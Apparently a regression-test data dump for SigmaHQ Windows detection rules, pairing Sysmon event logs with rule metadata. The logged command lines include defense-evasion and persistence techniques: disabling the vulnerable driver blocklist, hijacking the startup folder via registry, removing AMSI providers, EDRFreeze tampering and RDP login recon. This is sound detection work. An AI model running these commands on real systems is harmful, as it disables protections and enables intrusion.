"content": "id: 81ea361b-6e7b-417c-8f70-abd288b10c35\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 81bcb81b-5b1f-474b-b373-52c871aaa7b1\n title: Stop Windows Service Via Sc.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_sc_stop_service/81bcb81b-5b1f-474b-b373-52c871aaa7b1.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon/beaa66d6-aa1b-4e3c-80f5-e0145369bfaf.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-03T07:42:38.210937Z\"\n }\n },\n \"EventRecordID\": 26765,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3116,\n \"ThreadID\": 1656\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-03 07:42:38.149\",\n \"ProcessGuid\": \"0197231E-E9EE-692F-B004-000000000900\",\n \"ProcessId\": 9720,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"FileVersion\": \"10.0.26100.1 (WinBuild.160101.0800)\",\n \"Description\": \"Windows PowerShell\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"PowerShell.EXE\",\n \"CommandLine\": \"powershell -Command \\\"Get-WinEvent -LogName 'Microsoft-Windows-TerminalServices-LocalSessionManager/Operational' | Where-Object {$_.Id -eq 21} | ForEach-Object { $eventXml = [xml]$_.ToXml(); $username = $eventXml.Event.UserData.EventXML.User; $ipAddress = $eventXml.Event.UserData.EventXML.Address; $loginTime = $_.TimeCreated; if ($username -and $ipAddress -and $loginTime) { Write-Output ('User: ' + $username + ' IP: ' + $ipAddress + ' Login Time: ' + $loginTime) }}\\\"\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-BBFB-692F-3C8C-050000000000\",\n \"LogonId\": \"0x58c3c\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=1736263E02468939F808C0528E8DBB7E,SHA256=1F9FFC2227F8DEA8B771D543C464CF8166C22A39420A5322B5892A640C4B34B6,IMPHASH=68A9FF9C8D0D4655E46E1A7A190A41D2\",\n \"ParentProcessGuid\": \"0197231E-E967-692F-A904-000000000900\",\n \"ParentProcessId\": 9076,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon/info.yml",
"content": "id: a31979d4-d358-47c1-b698-875ec379a3c1\ndescription: N/A\ndate: 2025-12-03\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: beaa66d6-aa1b-4e3c-80f5-e0145369bfaf\n title: Potentially Suspicious EventLog Recon Activity Using Log Query Utilities\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_susp_eventlog_content_recon/beaa66d6-aa1b-4e3c-80f5-e0145369bfaf.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly/e4a6b256-3e47-40fc-89d2-7a477edd6915.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-02-04T08:52:58.205267Z\"\n }\n },\n \"EventRecordID\": 715573,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 776,\n \"ThreadID\": 4344\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-02-04 08:52:58.203\",\n \"ProcessGuid\": \"14207D89-08EA-6983-2A02-000000004402\",\n \"ProcessId\": 5696,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\taskhost.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Calculator\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CALC.EXE\",\n \"CommandLine\": \"taskhost.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-057C-6983-A047-0C0000000000\",\n \"LogonId\": \"0xc47a0\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=1FD4DD58C75D6F2EDCDB337EE686231E,SHA256=4208893C871D2499F184E3F0F2554DA89F451FA9E98D95FC9516C5AE8F2B3BBD,IMPHASH=8EEAA9499666119D13B3F44ECD77A729\",\n \"ParentProcessGuid\": \"14207D89-08EA-6983-2902-000000004402\",\n \"ParentProcessId\": 1816,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"cmd /c taskhost.exe\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly/info.yml",
"content": "id: 0efa6f32-c1df-4053-91ca-cafc05416e79\ndescription: N/A\ndate: 2026-02-04\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: e4a6b256-3e47-40fc-89d2-7a477edd6915\n title: System File Execution Location Anomaly\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_susp_system_exe_anomaly/e4a6b256-3e47-40fc-89d2-7a477edd6915.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution/be58d2e2-06c8-4f58-b666-b99f6dc3b6cd.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-02-04T08:47:45.988926Z\"\n }\n },\n \"EventRecordID\": 715337,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 776,\n \"ThreadID\": 4344\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-02-04 08:47:45.987\",\n \"ProcessGuid\": \"14207D89-07B1-6983-EA01-000000004402\",\n \"ProcessId\": 5592,\n \"Image\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\svchost.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Calculator\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"CALC.EXE\",\n \"CommandLine\": \".\\\\svchost.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SwachchhandaP\\\\Downloads\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-057C-6983-A047-0C0000000000\",\n \"LogonId\": \"0xc47a0\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"Medium\",\n \"Hashes\": \"MD5=1FD4DD58C75D6F2EDCDB337EE686231E,SHA256=4208893C871D2499F184E3F0F2554DA89F451FA9E98D95FC9516C5AE8F2B3BBD,IMPHASH=8EEAA9499666119D13B3F44ECD77A729\",\n \"ParentProcessGuid\": \"14207D89-0781-6983-E201-000000004402\",\n \"ParentProcessId\": 984,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution/info.yml",
"content": "id: 9cee7767-9219-40b3-b77e-dedf82957c94\ndescription: N/A\ndate: 2026-02-04\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: be58d2e2-06c8-4f58-b666-b99f6dc3b6cd\n title: Suspicious Process Masquerading As SvcHost.EXE\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_svchost_masqueraded_execution/be58d2e2-06c8-4f58-b666-b99f6dc3b6cd.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_user_shell_folders_registry_modification/8f3ab69a-aa22-4943-aa58-e0a52fdf6818.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2026-01-05T06:59:26.079827Z\"\n }\n },\n \"EventRecordID\": 75087,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3636,\n \"ThreadID\": 4340\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2026-01-05 06:59:26.059\",\n \"ProcessGuid\": \"0197231E-614E-695B-DC0C-000000000C00\",\n \"ProcessId\": 11680,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.26100.5074 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\reg.exe\\\" add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\User Shell Folders\\\" /v \\\"Common Startup\\\" /t REG_SZ /d C:\\\\Test\\\\calc.exe /f\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\Sysmon\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-70FA-694F-AED1-150000000000\",\n \"LogonId\": \"0x15d1ae\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=CE3B3DCB08556285C0FC73B7CDC1601D,SHA256=08B28258C2225574FE6359286B5D23B19F07BD39CEE04B72ED5CF7A8B7FBF9F3,IMPHASH=8E5CDA80916A6EB4EC8151EC790ED9F0\",\n \"ParentProcessGuid\": \"0197231E-7211-694F-D001-000000000C00\",\n \"ParentProcessId\": 9524,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"ParentCommandLine\": \"powershell -ep bypass\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_user_shell_folders_registry_modification/info.yml",
"content": "id: 60dc10cf-d9d5-4e64-897f-90b9074def8f\ndescription: N/A\ndate: 2026-01-05\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 8f3ab69a-aa22-4943-aa58-e0a52fdf6818\n title: User Shell Folders Registry Modification via CommandLine\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_user_shell_folders_registry_modification/8f3ab69a-aa22-4943-aa58-e0a52fdf6818.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_vulnerable_driver_blocklist_registry_tampering/22154f0e-5132-4a54-aa78-cc62f6def531.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-23T02:16:46.810517Z\"\n }\n },\n \"EventRecordID\": 90849,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3320,\n \"ThreadID\": 4216\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-12-23 02:16:46.792\",\n \"ProcessGuid\": \"0197231E-FB8E-6949-2610-000000000D00\",\n \"ProcessId\": 25368,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.26100.5074 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"reg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\CI\\\\Config\\\" /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 00000000 /f\",\n \"CurrentDirectory\": \"C:\\\\Windows\\\\System32\\\\\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-5032-6940-AAE2-070000000000\",\n \"LogonId\": \"0x7e2aa\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=CE3B3DCB08556285C0FC73B7CDC1601D,SHA256=08B28258C2225574FE6359286B5D23B19F07BD39CEE04B72ED5CF7A8B7FBF9F3,IMPHASH=8E5CDA80916A6EB4EC8151EC790ED9F0\",\n \"ParentProcessGuid\": \"0197231E-FB8C-6949-2310-000000000D00\",\n \"ParentProcessId\": 22176,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\WINDOWS\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_vulnerable_driver_blocklist_registry_tampering/info.yml",
"content": "id: eca9f987-800a-4b32-92ec-2d50a0a120a0\ndescription: N/A\ndate: 2025-12-23\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 22154f0e-5132-4a54-aa78-cc62f6def531\n title: Vulnerable Driver Blocklist Registry Tampering Via CommandLine\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_vulnerable_driver_blocklist_registry_tampering/22154f0e-5132-4a54-aa78-cc62f6def531.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_werfaultsecure_abuse/1f0b4cac-9c81-41f4-95d0-8475ff46b3e2.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-11-27T08:12:45.186674Z\"\n }\n },\n \"EventRecordID\": 733879,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3544,\n \"ThreadID\": 4264\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-11-27 08:12:45.183\",\n \"ProcessGuid\": \"0197231E-07FD-6928-2A0C-000000000D00\",\n \"ProcessId\": 3532,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe\",\n \"FileVersion\": \"10.0.26100.7019 (WinBuild.160101.0800)\",\n \"Description\": \"Windows Fault Reporting\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"WerFaultSecure.exe\",\n \"CommandLine\": \"C:\\\\Windows\\\\System32\\\\WerFaultSecure.exe /h /pid 3472 /tid 3476 /encfile 304 /cancel 364 /type 268310\",\n \"CurrentDirectory\": \"C:\\\\WINDOWS\",\n \"User\": \"swachchhanda\\\\xodih\",\n \"LogonGuid\": \"0197231E-B736-6923-B25C-3B0000000000\",\n \"LogonId\": \"0x3b5cb2\",\n \"TerminalSessionId\": 1,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"SHA1=9521BDCD891789724786BDCB9C9468A06818EDDC,MD5=C5A2014C3BC84EDCEEF5185AEA3BB5E0,SHA256=1C60BA5771201F7AEE44DCA30CBCBF78F6E3C39F30AD0A5C6C7BC8137A475EAA,IMPHASH=79E7A5E4F18B29329345D2098E1B95EB\",\n \"ParentProcessGuid\": \"0197231E-07FD-6928-290C-000000000D00\",\n \"ParentProcessId\": 9388,\n \"ParentImage\": \"C:\\\\Users\\\\xodih\\\\Downloads\\\\EDRFreeze-gnu.exe\",\n \"ParentCommandLine\": \"EDRFreeze-gnu.exe 3472 10000\",\n \"ParentUser\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_werfaultsecure_abuse/info.yml",
"content": "id: 68010a5c-f8bf-4a2c-8cd0-038d4009805e\ndescription: N/A\ndate: 2025-11-27\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 1f0b4cac-9c81-41f4-95d0-8475ff46b3e2\n title: PPL Tampering Via WerFaultSecure\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n path: regression_data/rules/windows/process_creation/proc_creation_win_werfaultsecure_abuse/1f0b4cac-9c81-41f4-95d0-8475ff46b3e2.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_disable_credential_guard/d645ef86-2396-48a1-a2b6-b629ca3f57ff.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 12,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 12,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-26T19:24:05.918776Z\"\n }\n },\n \"EventRecordID\": 18298,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3484,\n \"ThreadID\": 3424\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"DeleteValue\",\n \"UtcTime\": \"2025-12-26 19:24:05.918\",\n \"ProcessGuid\": \"0197231E-E0D5-694E-3803-000000000A00\",\n \"ProcessId\": 11088,\n \"Image\": \"C:\\\\WINDOWS\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\DeviceGuard\\\\RequirePlatformSecurityFeatures\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_disable_credential_guard/info.yml",
"content": "id: 2e3725ae-2eaa-48a2-9d9b-4a7d55a75974\ndescription: N/A\ndate: 2025-12-26\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: d645ef86-2396-48a1-a2b6-b629ca3f57ff\n title: Windows Credential Guard Related Registry Value Deleted - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_delete/registry_delete_disable_credential_guard/d645ef86-2396-48a1-a2b6-b629ca3f57ff.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key/41d1058a-aea7-4952-9293-29eaaf516465.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 12,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 12,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-26T00:11:12.880834Z\"\n }\n },\n \"EventRecordID\": 16786799,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"DeleteKey\",\n \"UtcTime\": \"2025-10-26 00:11:12.865\",\n \"ProcessGuid\": \"5AA13A44-6720-68FD-3E3F-000000004002\",\n \"ProcessId\": 6016,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\n \"TargetObject\": \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\AMSI\\\\Providers\\\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key/info.yml",
"content": "id: 1d4c1ea3-3215-451d-bde8-b64ca8e56041\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 41d1058a-aea7-4952-9293-29eaaf516465\n title: Removal Of AMSI Provider Registry Keys\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key/41d1058a-aea7-4952-9293-29eaaf516465.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_runmru/3a9b8c1e-5b2e-4f7a-9d1c-2a7f3b6e1c55.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 12,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 12,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:56:57.832430Z\"\n }\n },\n \"EventRecordID\": 111828,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"EventType\": \"DeleteKey\",\n \"UtcTime\": \"2025-10-24 23:56:57.828\",\n \"ProcessGuid\": \"5AA13A44-1246-68FC-781E-000000004002\",\n \"ProcessId\": 9880,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\reg.exe\",\n \"TargetObject\": \"HKU\\\\S-1-5-21-3960063115-309473240-3247002503-500\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\RunMRU\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_runmru/info.yml",
"content": "id: 3c0a5ddd-6241-4b52-9718-b12920e082ef\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 3a9b8c1e-5b2e-4f7a-9d1c-2a7f3b6e1c55\n title: RunMRU Registry Key Deletion - Registry\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/registry/registry_delete/registry_delete_runmru/3a9b8c1e-5b2e-4f7a-9d1c-2a7f3b6e1c55.evtx\n"
},
{
"path": "regression_data/rules/windows/registry/registry_delete/registry_delete_schtasks_hide_task_via_index_value_removal/526cc8bc-1cdc-48ad-8b26-f19bff969cec.json",
